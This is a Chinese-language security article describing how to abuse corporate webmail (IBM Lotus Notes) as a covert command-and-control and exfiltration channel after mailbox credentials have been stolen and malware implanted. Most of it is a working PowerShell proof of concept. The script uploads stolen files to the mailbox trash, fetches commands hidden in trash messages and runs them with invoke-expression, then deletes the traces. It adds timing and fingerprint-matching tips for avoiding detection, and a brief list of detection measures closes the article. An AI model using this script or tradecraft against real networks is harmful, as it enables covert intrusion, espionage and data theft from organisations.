利用企業郵件系統構造命令控制(C&C)和數據竊取(Exfiltration)通道的思路探討
假設場景
我們假設目標企業組織內設置了這樣一種安全措施:
01:內部用戶工作站電腦不能直接連接互聯網,只能通過其中架設的代理服務器執行外部Web請求和DNS查詢,而且代理服務器又設置了流量監控功能,由其產生的HTTP和DNS請求流量都能被監測發現。
02:由于從某種程度上來說,代理服務器“打破”了內部用戶機與外部服務器之間點對點連接模式,包括HTTPS方式,所以像Domain fronting這種隱蔽攻擊方式一樣可以被監測到,所以只有一些白名單網站可以被放行通過。
03:這種環境下,企業的大部分內部服務器都被設置了聯網限制,當然也就不存在服務暴露情況,因為所有企業相關網站或博客等服務可能都被部署在谷歌云存儲平臺,只有網站管理員以相應的企業社交網絡賬號從其它隔離的工作站電腦上登錄進入管理面板,才能進行內容更新修改操作。
在這種場景下,傳統的通過Web或DNS方式進行的C&C(命令控制)和數據竊取操作貌似不可行,此時,我們可以嘗試使用另外一種奇技淫巧:利用企業網頁郵件系統。
利用思路
如今,靈活便捷的企業郵箱登錄是辦公手段的必需,如果不考慮所有安全措施,抽象意義上來說,郵箱系統是所有內網環境(如員工電腦)和各式外網終端,如公司配發的具有郵箱登錄入口APP的智能手機和平板、通過瀏覽器方式以IBM iNotes或Microsoft OWA訪問登錄的電腦等。很多情況下,這種聯網的企業網頁郵件系統大多都不具備雙因素認證(2FA)和VPN集中器等安全機制。而且,很多移動端APP都缺乏OAuth或“應用密碼”等授權認證機制,只需用戶名密碼就可對接入系統進行直接登錄配置。
因此,如果我們通過網絡攻擊方式或從一些泄露數據庫中,獲取到目標機構運行于互聯網上的有效企業郵箱系統用戶登錄憑據(用戶名/密碼)后,可以藉此為突破口控制利用該企業用戶電子郵箱,感染內網用戶主機,滲透進入企業內網。之后,針對我們植入的惡意軟件,可以構造這樣一種C&C通道:在該企業用戶電子郵箱的垃圾箱文件夾內設置特殊格式消息文件,惡意軟件通過讀取這種消息文件信息,執行我們的控制命令;當然,也可以構造一種類似的數據竊取(exfiltration)通道:植入的惡意軟件把從企業機構內部竊取的文檔數據,上傳存儲到該企業用戶電子郵箱的垃圾箱文件夾內(這些文檔數據可以是加密或其它方式的存在),之后,我們可以遠程登錄進入網頁郵件系回收這些文檔數據,并且可以不留痕跡地刪除這些存儲數據。
盡管技術上看似簡單,但很難從所有合法網絡流量中識別出C&C和Exfiltration方式流量。例如,企業用戶在19:00下班,我們可以在已經滲透控制的目標企業用戶主機上,在18:30時刻(下班前繁忙的網絡流量中很難被發覺是有規律的訪問行為),通過植入木馬把竊取文檔數據上傳至被控制電子郵箱的垃圾文件夾內,之后,在20:30時刻,通過Webmail或移動終端API回收竊取數據,因為該時段很難區分出到底是在員工家中還是企業手機端的訪問行為。
由于我們不是把消息或數據發送到外部地址,而是通過郵箱自動發送或向特定文件夾內上傳消息文件,所以,這種操作行為,在所有進出的SMTP流量中也很難被發現。另外,還可以通過其它手段來增加檢測發現難度:當被滲透控制的企業用戶主機啟動郵箱客戶端程序時,運行植入的惡意程序,通過企業內網非黑名單IP接入Webmail端,使用與目標企業機構相同的移動運營商、程序終端、操作系統或瀏覽器等。
概念性驗證攻擊展示(PoC)
我們以IBM Lotus Notes郵件系統為例,作一個概念性驗證展示。企業如果架設了IBM Lotus Notes郵件系統,則對企業內網用戶來說,可以使用Notes的郵件客戶端,而外網用戶則可以通過Webmail方式或該郵件系統的IBM Verse移動APP終端進行訪問。
另外,有意思的是,Lotus Notes還提供了對郵件客戶端的郵件定制開發API,其中具有一個COM組件方法Notes.NotesSession,我們可以利用它來進行方法調用和定制語言選擇。在這里,我們使用PowerShell腳本作為PoC驗證。
在我們控制利用的企業用戶電子郵箱中,包含可以定期執行我們控制命令的簡單PowerShell腳本。我們向企業內網植入的惡意程序,將以預期任務、WMI或其它復雜技巧來請求這些腳本來實現命令控制。
在此,如果Notes郵件客戶端正常運行的情況下,我們將只利用其COM組件方法來對郵件作一些定制調用,因為這樣可以避免一些用戶端的報警警告:
- $running = get-process nlnotes -erroraction silentlycontinue
- if ($running -eq $null) { exit }
如果Notes郵件客戶端沒有運行,我們可以初始化COM組件,并打開默認配置的數據庫和服務器:
- $notes = New-Object -ComObject Notes.NotesSession
- $db = $notes.getdatabase("", "")
- if (!$db.isopen()) {
- $db.openmail()
- }
之后,我們可以定義數據竊取Exfiltrate()方法,來存儲竊取文檔并上傳到被控制利用的企業用戶電子郵箱垃圾文件夾內:
- function Exfiltrate($path) {
- $doc = $db.createdocument()
- $richText = $doc.createrichtextitem("Attachment")
- $richText.embedobject(1454, "", $path, "Attachment")
- $doc.save($true, $false, $true);
- $doc.remove($true)
- }
在以上代碼中,可以看到,我們通過實例化方法$db.createdocument()創建了一個新文檔,并把文檔附加第一個參數中,以$doc.save()方法進行保存,之后調用$doc.remove()方法把文件刪除到電子郵箱的垃圾文件夾內(PS:如果我們不調用remove()方法,則新建文檔將會存儲在一個未知文件夾內,不會出現在收件箱內,只能通過選擇“所有附件”按鈕才能看到,這也算是另外一種隱蔽消息的方法)。
最終,可以構造形如以下的C&C命令腳本,讓植入的惡意程序進行讀取執行:
- $trash = $db.getview("`$SoftDeletions")
- $doc = $trash.getfirstdocument()
- while ($doc -ne $null) {
- $subj = $doc.getitemvalue("Subject")
- if ($subj -eq "powershell") {
- $code = $doc.getitemvalue("Body")
- invoke-expression $code[0]
- $doc.removepermanently($true)
- break
- }
- $doc = $trash.getnextdocument($doc)
- }
首先,我們打開$SoftDeletions方法查看Notes郵箱數據庫,并以此方式調用電子郵箱的垃圾文件夾,以$trash.getfirstdocument()方法查看所有垃圾文件夾內的文件,如果其涉及主題為“powershell”字符串,我們將進一步讀取其郵件主體信息,一旦執行完內置該Powershell的Payload之后,將調用$doc.removepermanently()方法進行永久刪除。
實際利用
我們如何來操作這段簡單的PoC呢?前提是我們獲得了能登錄Webmail端的企業員工有效用戶名密碼,并向企業內網某主機植入了竊取數據的惡意程序。攻擊者從互聯網登錄進入該企業員工被控制利用的Webmail端,并以Powershell方式向其郵箱內自動發送消息郵件的大致方式如下:
該消息郵件被刪除之后,進入郵箱垃圾文件夾:
我們植入的惡意程序在內網主機運行之后,可以設置其檢索該郵箱垃圾文件夾內的以上Powershell消息郵件,通過讀取該郵件體中內置的內容執行命令。如以上郵件消息中設置把竊取文件存儲到c:\windows\temp\ps.txt文件內,并通過郵件上傳附件實現exfiltrate方法的文檔外傳竊取。
當然,如果攻擊者通過互聯網方式登錄進入Webmail端后,將會在郵箱垃圾文件夾發現以下存儲的竊取文件:
我們可以看到,郵箱垃圾文件夾的該消息郵件,沒有任何主題(subject)和來源(from)信息,并具有一個名為ps.txt的附件:
最終,攻擊者只需簡單地下載該文件并刪除垃圾文件夾內信息,就能以這種“暗度陳倉”的方式實現C&C命令控制和數據竊取(Exfiltration)。以下為該過程中利用的完整Powershell腳本:
- $running = get-process nlnotes -erroraction silentlycontinue
- if ($running -eq $null) { exit }
- $notes = New-Object -ComObject Notes.NotesSession
- $db = $notes.getdatabase("", "")
- if (!$db.isopen()) {
- $db.openmail()
- }
- function Exfiltrate($path) {
- $doc = $db.createdocument()
- $richText = $doc.createrichtextitem("Attachment")
- $richText.embedobject(1454, "", $path, "Attachment")
- $doc.save($true, $false, $true);
- $doc.remove($true)
- }
- $trash = $db.getview("`$SoftDeletions")
- $doc = $trash.getfirstdocument()
- while ($doc -ne $null) {
- $subj = $doc.getitemvalue("Subject")
- if ($subj -eq "powershell") {
- $code = $doc.getitemvalue("Body")
- invoke-expression $code[0]
- $doc.removepermanently($true)
- break
- }
- $doc = $trash.getnextdocument($doc)
- }
如果目標企業機構使用的是其它架構郵箱系統,如Microsoft (Exchange/Outlook/OWA)等,這其中相關的消息、收件箱、文件夾和命令等屬性操作可以直接應用到植入的惡意程序配置內。
如何檢測此類可疑行為?
- 對企業郵箱系統設置雙因素認證機制;
- 監測郵箱內奇怪的附件信息,如PowerShell腳本、加密數據、混淆數據,監測對郵箱的異常訪問和操作行為;
- 企業郵箱系統訪問IP限制,如Tor、VPN、國家或黑名單等;
- 限制與企業移動運營商不同的其它移動運營商APP會話訪問;
- 企業郵箱賬戶不常登錄使用的瀏覽器識別;
- 監測郵件自動消息發送行為;
- 監測識別企業用戶主機登錄訪問企業郵箱行為……